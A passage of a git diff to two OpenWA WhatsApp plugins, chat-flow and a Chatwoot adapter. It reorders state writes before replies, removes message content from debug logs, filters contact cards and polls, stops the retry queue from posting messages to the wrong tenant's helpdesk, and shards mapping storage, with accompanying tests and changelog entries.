on per-session config resolution (`sessi `onConfigChange`, and the `configUi` sandboxed config editor. Uses only `ctx.messages.reply`, `ctx.storage`, `ctx.logger`, and `ctx.config`. +Shared contact cards and polls are ignored: from OpenWA 0.23.2 both carry text in the message body +(a card its vCard, a poll its question), which would otherwise start the flow or draw an "Invalid +option". Tapped business buttons and list replies still drive the menu, and a captioned image still +reaches it. + ### Per-session config **Supported.** Every config field (`trigger`, `greeting`, `respondInGroups`, the `options` tree) may diff --git a/chat-flow/flow-engine.test.ts b/chat-flow/flow-engine.test.ts index 5980a32..3af42ac 100644 --- a/chat-flow/flow-engine.test.ts +++ b/chat-flow/flow-engine.test.ts @@ -218,3 +218,35 @@ test('sweepExpired does not delete a state refreshed between the scan and the de assert.equal(removed, 0); // the re-read saw fresh state → the live flow is not wiped assert.equal(deleted, false); }); + +test('a rejected write on the greeting path does not deliver a greeting the flow never started', async () => { + // With the documented empty `trigger`, a greeting delivered without its state reads the NEXT message + // as another first message and greets again: one outbound WhatsApp message per inbound message, with + // no cap, at a real contact. Storing first is self-healing instead, because state whose greeting never + // arrived answers the next message with the fallback, which repeats the greeting text. + const { ctx, replies } = makeCtx(); + ctx.storage.set = async () => { + throw new Error('storage quota exceeded'); + }; + await assert.rejects( + FlowEngine.processMessage(ctx, xyz, 'xyz', 'user1', 'hello', 'm1'), + /storage quota exceeded/, + ); + assert.deepEqual(replies, [], 'nothing may be sent when the flow could not be recorded'); +}); + +test('a rejected write on the advance path does not deliver a sub-menu the state never moved to', async () => { + // Option "2" has sub-options. Delivering its text while the stored path stays at the root matches the + // contact's next answer against the root menu, where the same key names a different option. + const { ctx, replies } = makeCtx(); + await FlowEngine.processMessage(ctx, xyz, 'xyz', 'user1', 'hello', 'm1'); // greeting, path [] + assert.equal(replies.length, 1); + ctx.storage.set = async () => { + throw new Error('storage quota exceeded'); + }; + await assert.rejects( + FlowEngine.processMessage(ctx, xyz, 'xyz', 'user1', '2', 'm2'), + /storage quota exceeded/, + ); + assert.equal(replies.length, 1, 'the sub-menu must not be sent when the move could not be recorded'); +}); diff --git a/chat-flow/flow-engine.ts b/chat-flow/flow-engine.ts index 38082a3..0386f29 100644 --- a/chat-flow/flow-engine.ts +++ b/chat-flow/flow-engine.ts @@ -96,7 +96,9 @@ export class FlowEngine { const input = messageBody.trim(); const stateKey = `state__${sessionId}__${conversation}`.replace(/:/g, '_'); let state = await context.storage.get(stateKey); - context.logger.debug('[FlowEngine] Loaded state', { stateKey, state }); + // Never the state itself: `path` is the trail of options this contact picked, which is message + // content by another name. A stored row can be malformed, so read its depth defensively. + context.logger.debug('[FlowEngine] Loaded state', { stateKey, hasState: !!state, pathDepth: state?.path?.length ?? 0 }); // Check expiration if (state && Date.now() - state.lastActive > this.TIMEOUT_MS) { @@ -107,7 +109,7 @@ export class FlowEngine { const trigger = flow.trigger.trim(); const isTriggerWord = trigger !== '' && input.toLowerCase() === trigger.toLowerCase(); - context.logger.debug('[FlowEngine] Trigger check', { trigger, input, isTriggerWord }); + context.logger.debug('[FlowEngine] Trigger check', { trigger, isTriggerWord }); // If no active flow state, check if we should start one if (!state) { @@ -116,23 +118,28 @@ export class FlowEngine { return false; } context.logger.debug('[FlowEngine] Starting new flow', { greeting: flow.greeting }); - await context.messages.reply(sessionId, chatId, messageId, flow.greeting); + // Store the state BEFORE the greeting goes out. A write that fails after a delivered greeting + // leaves the flow unstarted, and with the documented empty `trigger` the next message reads as + // another first message and greets again: one outbound message per inbound message, uncapped. + // The other order is self-healing, because state whose greeting never arrived answers the next + // message with the fallback at the bottom of this method, which repeats the greeting text. await context.storage.set(stateKey, { path: [], lastActive: Date.now() }); + await context.messages.reply(sessionId, chatId, messageId, flow.greeting); return true; } // If trigger word is received while in flow, restart the flow if (isTriggerWord) { context.logger.debug('[FlowEngine] Trigger word received during active flow. Restarting flow.'); - await context.messages.reply(sessionId, chatId, messageId, flow.greeting); await context.storage.set(stateKey, { path: [], lastActive: Date.now() }); + await context.messages.reply(sessionId, chatId, messageId, flow.greeting); return true; } // Traverse the configuration options according to the user's path let currentNode: FlowNode | undefined = { text: flow.greeting, options: flow.options }; - context.logger.debug('[FlowEngine] Traversing path', { path: state.path }); + context.logger.debug('[FlowEngine] Traversing path', { pathDepth: state.path.length }); for (const key of state.path) { if (currentNode && currentNode.options && Object.hasOwn(currentNode.options, key)) { currentNode = currentNode.options[key]; @@ -161,11 +168,12 @@ export class FlowEngine { currentNode.options && Object.hasOwn(currentNode.options, input) ? currentNode.options[input] : undefined; if (nextNode) { - context.logger.debug('[FlowEngine] Input matched option', { input, text: nextNode.text }); + context.logger.debug('[FlowEngine] Input matched option'); state.path.push(input); state.lastActive = Date.now(); - await context.messages.reply(sessionId, chatId, messageId, nextNode.text); - + // Record the move before the reply goes out, for the same reason as the greeting above. Sending a + // sub-menu the stored path never moved to means the contact's next answer is matched against the + // menu they were shown a level up, where the same key usually names a different option. if (nextNode.options && Object.keys(nextNode.options).length > 0) { context.logger.debug('[FlowEngine] Next node has sub-options. Saving updated path.'); await context.storage.set(stateKey, state); @@ -173,6 +181,7 @@ export class FlowEngine { context.logger.debug('[FlowEngine] Leaf node reached. Clearing flow state.'); await context.storage.delete(stateKey); } + await context.messages.reply(sessionId, chatId, messageId, nextNode.text); return true; } else if (!currentNode.options || Object.keys(currentNode.options).length === 0) { // The resolved node is a leaf with no way forward (config changed under the user). End the flow diff --git a/chat-flow/index.test.ts b/chat-flow/index.test.ts index af198c5..caabf59 100644 --- a/chat-flow/index.test.ts +++ b/chat-flow/index.test.ts @@ -117,8 +117,8 @@ test('a body-less message never reaches the flow engine', async () => { const plugin = new ChatFlow(); await plugin.onEnable(ctx); - const fire = (body: string, id: string) => - handler!({ source: 'Engine', sessionId: 's1', data: { id, chatId: 'c@wa', body, fromMe: false, isGroup: false } }); + const fire = (body: string, id: string, type = 'text') => + handler!({ source: 'Engine', sessionId: 's1', data: { id, chatId: 'c@wa', body, type, fromMe: false, isGroup: false } }); await fire('', 'm1'); // sticker / voice note / caption-less image await fire(' ', 'm2'); @@ -127,3 +127,44 @@ test('a body-less message never reaches the flow engine', async () => { assert.ok(sent.length > 0, 'a real message still starts the flow'); await plugin.onDisable(); }); + +// From host 0.23.2 a contact card and a poll DO carry text, so the body guard above no longer covers +// them. With the documented empty trigger either would start the flow; mid-flow either would draw an +// "Invalid option" and claim the message from a sibling auto-replier. +test('a contact card or a poll never reaches the flow engine, but a tapped button does', async () => { + const ChatFlow = (await import('./index.ts')).default; + const sent: string[] = []; + let handler: ((h: unknown) => Promise<{ continue: boolean }>) | undefined; + const store = new Map(); + const ctx = { + config: { greeting: 'halo', trigger: '', options: [{ key: '1', text: 'satu' }] }, + logger: { log() {}, debug() {}, warn() {}, error() {} }, + messages: { sendText: async (_s: string, _c: string, t: string) => { sent.push(t); return { messageId: 'x', timestamp: 0 }; }, + reply: async (_s: string, _c: string, _q: string, t: string) => { sent.push(t); return { messageId: 'x', timestamp: 0 }; } }, + storage: { + get: async (k: string) => store.get(k) ?? null, + set: async (k: string, v: unknown) => void store.set(k, v), + delete: async (k: string) => void store.delete(k), + list: async () => [...store.keys()], + }, + registerHook: (_e: string, h: (x: unknown) => Promise<{ continue: boolean }>) => { handler = h; }, + } as never; + + const plugin = new ChatFlow(); + await plugin.onEnable(ctx); + const fire = (body: string, id: string, type = 'text') => + handler!({ source: 'Engine', sessionId: 's1', data: { id, chatId: 'c@wa', body, type, fromMe: false, isGroup: false } }); + + const vcard = 'BEGIN:VCARD\nVERSION:3.0\nFN:Budi Santoso\nTEL;TYPE=CELL:+628123456789\nEND:VCARD'; + const card = await fire(vcard, 'm1', 'contact'); + assert.equal(card.continue, true, 'a contact card must pass down the chain'); + const poll = await fire('Makan di mana hari Jumat?', 'm2', 'poll'); + assert.equal(poll.continue, true, 'a poll must pass down the chain'); + assert.deepEqual(sent, [], 'neither may start the flow'); + + // 'unknown' carries business button and list replies. A tapped menu button is the single most + // desirable input a menu bot can get, so it must NOT be denied along with the two above. + await fire('1', 'm3', 'unknown'); + assert.ok(sent.length > 0, 'a tapped button still drives the flow'); + await plugin.onDisable(); +}); diff --git a/chat-flow/index.ts b/chat-flow/index.ts index 121c75e..9263769 100644 --- a/chat-flow/index.ts +++ b/chat-flow/index.ts @@ -90,12 +90,17 @@ export default class ChatFlow implements IPlugin { private async onMessage(ctx: PluginContext, hook: HookContext): Promise { if (hook.source !== 'Engine' || !hook.sessionId) return { continue: true }; const m = hook.data; - // `!m.body.trim()` matters as much as the type check: a message with no text — a sticker, a voice - // note, an image sent without a caption — carries an empty body, so it used to reach the menu. - // (A captioned image does carry its caption and still does.) With the documented empty `trigger` that STARTED - // the flow; with a flow already open it answered "Invalid option" to a photo and claimed the event + // Two guards, both load-bearing. `!m.body.trim()` drops what carries no text at all: a sticker, a + // voice note, an image sent without a caption. (A captioned image carries its caption and still + // reaches the menu, deliberately.) With the documented empty `trigger` an empty body STARTED the + // flow; with a flow already open it answered "Invalid option" to a photo and claimed the event // from sibling auto-repliers. if (m.fromMe || typeof m.body !== 'string' || !m.body.trim() || !m.chatId || !m.id) return { continue: true }; + // The type denylist drops what DOES carry text but was never typed at this menu. Since host 0.23.2 + // a shared contact card arrives with its full vCard as the body and a poll with its question, so + // body alone no longer means "a human typed this". 'unknown' is deliberately admitted: business + // button and list replies land there, and a tapped menu button is exactly what this plugin wants. + if (m.type === 'contact' || m.type === 'poll') return { continue: true }; let liveCfg; try { diff --git a/chat-flow/manifest.json b/chat-flow/manifest.json index cfee4a1..23d84a8 100644 --- a/chat-flow/manifest.json +++ b/chat-flow/manifest.json @@ -1,7 +1,7 @@ { "id": "chat-flow", "name": "Chat Flow", - "version": "1.1.6", + "version": "1.1.7", "type": "extension", "main": "dist/index.js", "description": "Interactive, stateful auto-reply: a trigger word starts a greeting + numbered menu, replies traverse a configurable menu tree, and per-chat state expires after 15 minutes.", @@ -20,7 +20,7 @@ ], "status": "stable", "minOpenWAVersion": "0.7.0", - "testedOpenWAVersion": "0.23.0", + "testedOpenWAVersion": "0.23.3", "provides": [ "auto-reply" ], diff --git a/chatwoot-adapter/CHANGELOG.md b/chatwoot-adapter/CHANGELOG.md index 6fbcfd3..1917765 100644 --- a/chatwoot-adapter/CHANGELOG.md +++ b/chatwoot-adapter/CHANGELOG.md @@ -6,6 +6,37 @@ All notable changes to the Chatwoot Adapter plugin are documented here. The form ## [Unreleased] +## [0.9.6] - 2026-08-25 + +### Fixed + +- **A queued message is never re-posted to another tenant's Chatwoot.** A session's config resolves only + while OpenWA is dispatching an event for that session, but the retry queue is plugin-global and drained + on a timer, so every queued entry was re-posted with the base account's origin, token, account id and + inbox. On a multi-tenant install that put one tenant's customer message into another tenant's helpdesk + when the conversation id happened to exist there, and dead-lettered it after five attempts when it did + not; for a chat with no mapping yet it created the conversation in the wrong account and stored that + mapping permanently. The drain now re-posts only for sessions whose own config the plugin has captured, + and leaves the rest queued without spending a retry attempt. +- The per-event dependency bag now builds its Chatwoot client from the config the caller resolved, + instead of re-reading `ctx.config` a second time. The live paths were correct only by virtue of running + inside the dispatch that resolves it. + +### Changed + +- Conversation mappings are stored in a fixed number of sharded keys rather than three keys per chat. + The host re-measures its storage quota by stat-ing every key on every write, synchronously, on the + gateway event loop, so an install that had relayed ten thousand chats made every write in the plugin + stat thirty thousand files. Existing mappings are read from their old keys and moved across on their + next write, so nothing is orphaned and no Chatwoot conversation is re-created. + +- On the Baileys engine a poll question, a shared event name, a tapped button label and a shared + contact's vCard now appear as the Chatwoot message text instead of the type marker, matching what the + whatsapp-web.js engine has always relayed. OpenWA 0.23.2 fills the message body for these shapes. The + markers still appear when the shape carries no text. In a group these messages now also carry the + sender prefix that the marker never had. +- **Verified against OpenWA v0.23.3** (testedOpenWAVersion 0.23.0 → 0.23.3). + ## [0.9.5] - 2026-08-20 ### Changed diff --git a/chatwoot-adapter/README.md b/chatwoot-adapter/README.md index 487119d..d175884 100644 --- a/chatwoot-adapter/README.md +++ b/chatwoot-adapter/README.md @@ -15,13 +15,13 @@ | Field | Value | | ----- | ----- | | **Identifier** | `chatwoot-adapter` | -| **Version** | 0.9.5 | -| **Released** | 2026-08-20 | +| **Version** | 0.9.6 | +| **Released** | 2026-08-25 | | **Status** | stable | | **Author** | Yudhi Armyndharis | | **License** | MIT | | **Type** | `extension` | -| **Requires OpenWA** | ≥ 0.8.7 (tested 0.23.0) | +| **Requires OpenWA** | ≥ 0.8.7 (tested 0.23.3) | | **Keywords** | chatwoot, helpdesk, inbox, handover, two-way, agent, whatsapp, openwa | | **Repository** | [OpenWA-plugins/chatwoot-adapter](https://github.com/rmyndharis/OpenWA-plugins/tree/main/chatwoot-adapter) | @@ -156,6 +156,11 @@ instance id or route — so re-copy the ingress URL from the mint response. gate, `net.allowConfigHosts`), the `conversation.send` media/voice types for outbound attachments, the sandbox-bridged `engine.getChatHistory` for the history backfill, and `engine.canonicalChatId` for `@lid` resolution. +- **Polls, contact cards, shared events and button taps carry their text from OpenWA 0.23.2 on the + Baileys engine.** A poll's question, a shared contact's vCard, an event name and a tapped button's + label now appear as the Chatwoot message text instead of the `📊 Poll` / `👤 Contact` marker, which + is what the whatsapp-web.js engine has always relayed. The markers still appear when the shape + carries no text. In a group these messages now also carry the `*Sender:*` prefix. - **Agent replies containing a link look plainer from OpenWA 0.14.0 on the Baileys engine.** WhatsApp used to draw a preview card for a URL in an agent's reply. From 0.14.0 Baileys only generates that card when the sender asks for it, and a plugin has no way to ask, so those replies arrive as plain links. Delivery @@ -174,23 +179,29 @@ instance id or route — so re-copy the ingress URL from the mint response. ### Known limitations -- **Mapping storage grows with use (by design).** The `conv:`/`wa:` conversation-mapping entries in - plugin storage are never pruned — deleting a mapping would sever a live thread, and there is no safe - signal that a Chatwoot conversation will never be written to again. Growth is one small record per - WhatsApp chat ever relayed, so it stays modest in practice; `healthCheck` reports retry-queue and - dead-letter health if you need operational signals. The 3-day `seen:` dedup markers, by contrast, - expire and are pruned hourly. +- **Mapping storage grows with use (by design).** A conversation mapping is never pruned: deleting one + would sever a live thread, and there is no safe signal that a Chatwoot conversation will never be + written to again. Growth is one small record per WhatsApp chat ever relayed, held in a fixed number of + sharded storage keys so the key count stays constant however many chats are relayed. `healthCheck` + reports retry-queue and dead-letter health if you need operational signals. The 3-day dedup markers, + by contrast, expire and are pruned hourly. ### Per-session config -**Supported.** Every config field (`baseUrl`, `apiToken`, `accountId`, `inboxId`, `relayGroups`, -`relayMedia`, `relayOwnMessages`, `backfillLimit`, `backfillAllOnce`) may be overridden per WhatsApp -session via the dashboard; an override takes effect on the next inbound message or webhook delivery -(config is re-read per event). This is the **first-class multi-tenant shape**: bind one instance per -WhatsApp session, each pointing at a different Chatwoot account/inbox, and the session-scoped mapping +**Supported, with a caveat.** Every config field (`baseUrl`, `apiToken`, `accountId`, `inboxId`, +`relayGroups`, `relayMedia`, `relayOwnMessages`, `backfillLimit`, `backfillAllOnce`) may be overridden +per WhatsApp session via the dashboard; an override takes effect on the next inbound message or webhook +delivery (config is re-read per event). This is the **first-class multi-tenant shape**: bind one instance +per WhatsApp session, each pointing at a different Chatwoot account/inbox, and the session-scoped mapping store isolates them. The per-session `baseUrl` is auto-added to the outbound allowlist via `allowConfigHosts`. +**Caveat for the retry queue.** A session's config resolves only while OpenWA is dispatching an event for +that session, and the queue of failed inbound relays is drained on a timer instead. A queued message is +re-posted only once the plugin has seen an event for its session (its next message in either direction) +since it was last enabled; until then it stays queued and counted under pending retries in the plugin's +health, rather than being posted to whichever Chatwoot the base config names. + ## Security - The outbound HTTP allowlist admits only your configured Chatwoot host; OpenWA's SSRF guard still blocks diff --git a/chatwoot-adapter/index.test.ts b/chatwoot-adapter/index.test.ts index 604078f..dfad237 100644 --- a/chatwoot-adapter/index.test.ts +++ b/chatwoot-adapter/index.test.ts @@ -143,7 +143,10 @@ test('healthCheck is healthy with an empty queue; onDisable/onUnload run cleanly // every one of its (up to 5) attempts instead of ever converging. That's what relayInbound's `recoverOn404` // option exists to prevent — this pins that the drain call site actually passes it false. test('retry drain leaves a dangling mapping alone on a 404 — no rebuild, the retry budget absorbs it', async (t) => { - const { ctx, storageMap } = fakeCtx(goodConfig); + // relayOwnMessages off so the message:sent dispatch below captures this session's resolved config + // without relaying anything: the drain re-posts only for sessions the plugin has actually seen an + // event for, because that dispatch is the only place a per-session config resolves. + const { ctx, storageMap, cbs } = fakeCtx({ ...goodConfig, relayOwnMessages: false }); // A stale mapping: Chatwoot conversation 55 is gone (operator deleted it out of band) but the mapping // still points at it. storageMap.set('conv:sess:c@wa', { conversationId: 55, contactId: 9, sourceId: 'src' }); @@ -177,6 +180,11 @@ test('retry drain leaves a dangling mapping alone on a 404 — no rebuild, the r t.mock.timers.enable({ apis: ['setInterval'] }); const adapter = new ChatwootAdapter(); await adapter.onEnable(ctx); + // One event for this session, so its config is resolved and captured the way production does. + await cbs['message:sent']({ + source: 'Engine', sessionId: 'sess', timestamp: new Date(), + data: { id: 'seen', from: 'me', to: 'x', chatId: 'other@wa', body: 'x', type: 'chat', timestamp: 0, fromMe: true, isGroup: false }, + }); t.mock.timers.tick(RETRY_INTERVAL_MS); // The drain's own work (storage + the fetch double above) all settles on real promises; flush them. await new Promise(res => setImmediate(res)); @@ -192,6 +200,52 @@ test('retry drain leaves a dangling mapping alone on a 404 — no rebuild, the r await adapter.onDisable(); }); +test('the retry drain never re-posts one session\'s message with another session\'s Chatwoot account', async (t) => { + // ctx.config resolves the firing session's slice only inside a hook or webhook dispatch; on the retry + // timer it falls back to the base slice, and no capability resolves another session's config. The + // drain used to re-post every queued entry with that base slice, so on the multi-tenant shape this + // plugin advertises, tenant B's customer message went to tenant A's helpdesk with tenant A's token, + // and for a chat with no mapping yet it minted the conversation there and stored the mapping for good. + const { ctx, storageMap, cbs } = fakeCtx({ ...goodConfig, relayOwnMessages: false }); + // Queued for a session this worker has never dispatched an event for. + storageMap.set('retry:tenantB:m1', { + sessionId: 'tenantB', + chatId: 'c@wa', + msg: { id: 'm1', from: 'x', to: 'y', chatId: 'c@wa', body: 'hi', type: 'chat', timestamp: 0, fromMe: false, isGroup: false }, + attempts: 0, + enqueuedAt: 1, + }); + const calls: string[] = []; + ctx.net.fetch = (async (url: string, init?: { method?: string }) => { + calls.push(`${init?.method ?? 'GET'} ${url}`); + return { ok: true, status: 200, headers: {}, body: '{}' }; + }) as typeof ctx.net.fetch; + + t.mock.timers.enable({ apis: ['setInterval'] }); + const adapter = new ChatwootAdapter(); + await adapter.onEnable(ctx); + t.mock.timers.tick(RETRY_INTERVAL_MS); + await new Promise(res => setImmediate(res)); + await new Promise(res => setImmediate(res)); + + assert.deepEqual(calls, [], 'nothing may be posted for a session whose own config cannot be resolved'); + const held = storageMap.get('retry:tenantB:m1') as { attempts: number } | undefined; + assert.ok(held, 'the entry is kept, not delivered and not dropped'); + assert.equal(held?.attempts, 0, 'and not counted as a failed attempt: a retry could never have fixed this'); + + // Once that session dispatches an event, its slice is captured and the entry drains normally. + await cbs['message:sent']({ + source: 'Engine', sessionId: 'tenantB', timestamp: new Date(), + data: { id: 'seen', from: 'me', to: 'x', chatId: 'other@wa', body: 'x', type: 'chat', timestamp: 0, fromMe: true, isGroup: false }, + }); + t.mock.timers.tick(RETRY_INTERVAL_MS); + await new Promise(res => setImmediate(res)); + await new Promise(res => setImmediate(res)); + assert.ok(calls.length > 0, 'a known session drains as before'); + + await adapter.onDisable(); +}); + test('onEnable throws on missing / invalid config', async () => { const { ctx } = fakeCtx({ baseUrl: 'https://x' }); // missing apiToken, accountId, inboxId await assert.rejects(new ChatwootAdapter().onEnable(ctx), /missing\/invalid config/); diff --git a/chatwoot-adapter/index.ts b/chatwoot-adapter/index.ts index a869299..c45b698 100644 --- a/chatwoot-adapter/index.ts +++ b/chatwoot-adapter/index.ts @@ -86,6 +86,15 @@ export default class ChatwootAdapter implements IPlugin { private draining = false; private lastSeenPruneAt = 0; private seenPruning = false; + // The resolved config of every session this worker has dispatched an event for. ctx.config resolves + // the firing session's slice only INSIDE a hook or webhook dispatch (the host scopes it with an + // AsyncLocalStorage); on the retry timer it falls back to the base slice, and no capability resolves + // another session's config. Re-posting a queued message with the base slice puts one tenant's + // customer message in another tenant's helpdesk, and for a chat whose mapping did not exist yet it + // mints the Chatwoot conversation in that account and stores the mapping for good. So the drain + // relays only for sessions whose own slice is in here. In memory, per worker: an enable/disable + // cycle empties it and that session's next message refills it. + private sessionConfigs = new Map(); private onBackfillExhausted = (chatId: string): void => { this.backfillExhausted.add(chatId); @@ -97,14 +106,15 @@ export default class ChatwootAdapter implements IPlugin { const lock = new KeyedAsyncLock(); const store = new MappingStore(ctx.storage, ctx.mappings); this.store = store; - // Re-read config per event so a per-session/instance override (PR E) is picked up live. - const clientFor = () => new ChatwootClient(ctx.net.fetch.bind(ctx.net), readConfig(ctx.config)); - // Shared per-event dependency bag for the inbound and own-send relays (both render into Chatwoot the // same way). instanceId = sessionId (a session-scoped instance is 1:1 with its session). + // + // The client is built from the `cfg` the CALLER resolved, never from a second read of ctx.config: + // that getter returns the firing session's slice only inside a dispatch, so on the retry timer it + // handed every session's queued messages the base tenant's origin, token, account and inbox. const buildDeps = (cfg: ChatwootFullConfig, sessionId: string) => ({ lock, - client: clientFor(), + client: new ChatwootClient(ctx.net.fetch.bind(ctx.net), cfg), store, engine: ctx.engine, instanceId: sessionId, @@ -128,6 +138,7 @@ export default class ChatwootAdapter implements IPlugin { const msg = h.data as IncomingMessage; if (sessionId && msg) { const cfg = readConfig(ctx.config); + this.sessionConfigs.set(sessionId, cfg); // a dispatch is the only place this slice resolves const deps = buildDeps(cfg, sessionId); // Fire-and-forget off the hook so a slow/failing Chatwoot API never blocks the WA pipeline. The // mapping mirror is keyed on sessionId (a session-scoped instance is 1:1 with its session). @@ -154,6 +165,9 @@ export default class ChatwootAdapter implements IPlugin { const msg = h.data as IncomingMessage; if (sessionId && msg) { const cfg = readConfig(ctx.config); + // Captured BEFORE the relayOwnMessages gate: the retry drain needs this session's slice even + // for a session whose own-send mirror is switched off. + this.sessionConfigs.set(sessionId, cfg); if (cfg.relayOwnMessages) { void handleSent(buildDeps(cfg, sessionId), sessionId, h.source, msg).catch(e => ctx.logger.error('sent hook failed', e), @@ -182,8 +196,10 @@ export default class ChatwootAdapter implements IPlugin { // Retry failed inbound relays (at-least-once). The durable, storage-backed queue is drained on a timer: // each queued message is re-posted via the same inbound path, and a message that keeps failing is - // dead-lettered after MAX_RETRY_ATTEMPTS. Retries use the base config (per-session overrides aren't - // re-resolved outside a hook). .unref() so the timer never keeps the worker alive; cleared on disable. + // dead-lettered after MAX_RETRY_ATTEMPTS. The queue is plugin-global (ctx.storage is not per session), + // so a tick sees every session's entries; each is re-posted with THAT session's captured slice, never + // with what ctx.config resolves to out here, which is the base one. .unref() so the timer never keeps + // the worker alive; cleared on disable. const drain = (): Promise => { // Single-flight: a slow drain (large backlog) must not overlap the next tick, or two runs would // snapshot the same entries and double-post. Skip the tick if a drain is still in progress. @@ -198,9 +214,13 @@ export default class ChatwootAdapter implements IPlugin { this.draining = true; return drainRetries( { store, lock, log: (m, e) => ctx.logger.error(m, e) }, + // The canRelay predicate below admitted this session, so its slice is present. (sessionId, _chatId, msg) => - relayInbound(buildDeps(readConfig(ctx.config), sessionId), sessionId, msg, { recoverOn404: false }), + relayInbound(buildDeps(this.sessionConfigs.get(sessionId)!, sessionId), sessionId, msg, { + recoverOn404: false, + }), MAX_RETRY_ATTEMPTS, + sessionId => this.sessionConfigs.has(sessionId), ) .then( ({ deadLettered }) => void (this.deadLetterCount += deadLettered), diff --git a/chatwoot-adapter/manifest.json b/chatwoot-adapter/manifest.json index 33280a3..311cae5 100644 --- a/chatwoot-adapter/manifest.json +++ b/chatwoot-adapter/manifest.json @@ -1,7 +1,7 @@ { "id": "chatwoot-adapter", "name": "Chatwoot Adapter", - "version": "0.9.5", + "version": "0.9.6", "type": "extension", "main": "dist/index.js", "description": "Two-way sync between a WhatsApp session and a Chatwoot inbox: relays WhatsApp messages (1:1 and groups, with media) into Chatwoot as an API-channel inbox, sends agent replies back to WhatsApp, and hands a chat over to a human agent — silencing other OpenWA bots — when an agent takes it in Chatwoot. First consumer of the OpenWA Integration SDK v1; runs sandboxed in the plugin worker.", @@ -12,7 +12,7 @@ "keywords": ["chatwoot", "helpdesk", "inbox", "handover", "two-way", "agent", "whatsapp", "openwa"], "status": "stable", "minOpenWAVersion": "0.8.7", - "testedOpenWAVersion": "0.23.0", + "testedOpenWAVersion": "0.23.3", "sdkVersion": "1", "permissions": ["net:fetch", "conversation:send", "webhook:ingress", "engine:read", "storage:use"], diff --git a/chatwoot-adapter/mapping-store.test.ts b/chatwoot-adapter/mapping-store.test.ts index a7c06b6..386cbf4 100644 --- a/chatwoot-adapter/mapping-store.test.ts +++ b/chatwoot-adapter/mapping-store.test.ts @@ -287,3 +287,69 @@ test('a conversation id claimed by two sessions never resolves without a scope', assert.equal(await store.getByConversation(42), null); }); + +// ── Mapping storage is sharded, for the same reason the dedup markers are ──────────────────────────── + +test('mapping key count stays constant however many chats are relayed', async () => { + // The host re-measures its quota on EVERY set by stat-ing every key of the plugin, synchronously, on + // the gateway event loop. Three unpruned keys per chat made every write in the whole plugin O(chats), + // and it only got worse the longer the install ran. + const storage = fakeStorage(); + const store = new MappingStore(storage, fakeMappings()); + for (let i = 0; i < 400; i++) { + await store.link('sess', `chat${i}@wa`, 'inst', { conversationId: i + 1, contactId: i, sourceId: `s${i}` }); + } + const keys = await storage.list(); + const standalone = keys.filter(k => k.startsWith('conv:') || /^wa:/.test(k)); + assert.equal(standalone.length, 0, 'no per-chat standalone key survives a write'); + assert.ok(keys.length <= SEEN_SHARDS, `bucket count is bounded, got ${keys.length} keys for 400 chats`); + // and every one of them still resolves + assert.equal((await store.getByChat('sess', 'chat399@wa'))?.conversationId, 400); + assert.deepEqual(await store.getByConversation(400, 'sess'), { sessionId: 'sess', chatId: 'chat399@wa' }); +}); + +test('a mapping written by an earlier version still resolves, then is retired on its next write', async () => { + // Upgrade path. Bucket entries are keyed by the SAME string the standalone key used, so there is no + // migration pass: the same lookup finds either. Orphaning one would re-create that chat's Chatwoot + // conversation and split its thread, which is the one outcome this must never have. + const storage = fakeStorage(); + const store = new MappingStore(storage, fakeMappings()); + await storage.set('conv:sess:old@wa', { conversationId: 55, contactId: 9, sourceId: 'src' }); + + assert.equal((await store.getByChat('sess', 'old@wa'))?.conversationId, 55, 'the pre-upgrade key resolves'); + + await store.patch('sess', 'old@wa', { name: 'Budi' }); + const after = await store.getByChat('sess', 'old@wa'); + assert.equal(after?.conversationId, 55, 'the merge kept the existing document'); + assert.equal(after?.name, 'Budi'); + assert.equal(await storage.get('conv:sess:old@wa'), null, 'the standalone key is retired once rewritten'); +}); + +test('unlinking removes both copies, so a retired standalone key cannot resurrect a mapping', async () => { + const storage = fakeStorage(); + const store = new MappingStore(storage, fakeMappings()); + await storage.set('conv:sess:z@wa', { conversationId: 77, contactId: 1, sourceId: 's' }); + await store.unlinkByChatId('sess', 'z@wa'); + assert.equal(await store.getByChat('sess', 'z@wa'), null, 'the fallback must not read back an unlinked mapping'); +}); + +test('two chats sharing a bucket do not erase each other', async () => { + // A bucket is a read-modify-write shared across chats, and the per-chat locks cannot serialize it + // because they are keyed by chat. Interleaving would drop one chat's mapping entirely. + const storage = fakeStorage(); + const store = new MappingStore(storage, fakeMappings()); + const target = shardOf('conv:sess:a@wa'); + let partner = ''; + for (let i = 0; i < 100_000 && !partner; i++) { + if (shardOf(`conv:sess:p${i}@wa`) === target) partner = `p${i}@wa`; + } + assert.ok(partner, 'expected a colliding chat id'); + + await Promise.all([ + store.link('sess', 'a@wa', 'inst', { conversationId: 1, contactId: 1, sourceId: 'a' }), + store.link('sess', partner, 'inst', { conversationId: 2, contactId: 2, sourceId: 'b' }), + ]); + + assert.equal((await store.getByChat('sess', 'a@wa'))?.conversationId, 1); + assert.equal((await store.getByChat('sess', partner))?.conversationId, 2); +}); diff --git a/chatwoot-adapter/mapping-store.ts b/chatwoot-adapter/mapping-store.ts index e30f93c..61ed0ed 100644 --- a/chatwoot-adapter/mapping-store.ts +++ b/chatwoot-adapter/mapping-store.ts @@ -75,6 +75,9 @@ export function shardOf(logicalId: string): number { // One bucket: logical marker id -> first-seen wall-clock ms. type SeenBucket = Record; +// One mapping bucket: the standalone storage key a mapping used to live under -> its value. +type MapBucket = Record; + /** The unscoped reverse mapping: a session's chat, or a marker that two sessions claim this id. */ type LegacyRev = { sessionId: string; chatId: string } | { ambiguous: true }; @@ -124,8 +127,67 @@ export class MappingStore { return `seenb:s${shard}`; } + // Chat mappings are sharded for the same reason the dedup markers are: the host re-measures its 50 MiB + // quota on EVERY `set` by readdir-ing the plugin's data directory and stat-ing every key, synchronously, + // on the gateway's own event loop. This store writes THREE keys per chat (forward, session-scoped + // reverse, unscoped reverse) and prunes none of them, because a mapping IS the link between a WhatsApp + // chat and its Chatwoot thread and there is no safe moment to drop one. So an install that had relayed + // 10k chats made every storage write in the whole plugin stat 30k files, and it only got worse with use. + // Bucketing holds the key count constant while every mapping is still kept forever. + // + // One pool for all three families, and a bucket entry is keyed by the SAME string the standalone key + // used, so a mapping written before bucketing is found by the same lookup (readMapped) and needs no + // migration pass. Reuses shardOf, so the two pools share a hash and a shard count but not a key + // namespace (`mapb:` against `seenb:`). + private mapBucketKey(shard: number): string { + return `mapb:s${shard}`; + } + + // Read one mapping: its bucket first, then the standalone key an earlier version wrote. Unlike hasSeen's + // legacy read this is not a per-message cost: any chat this version has written has a bucket entry, so + // only a chat with no mapping at all pays the second read. + private async readMapped(key: string): Promise { + const bucket = await 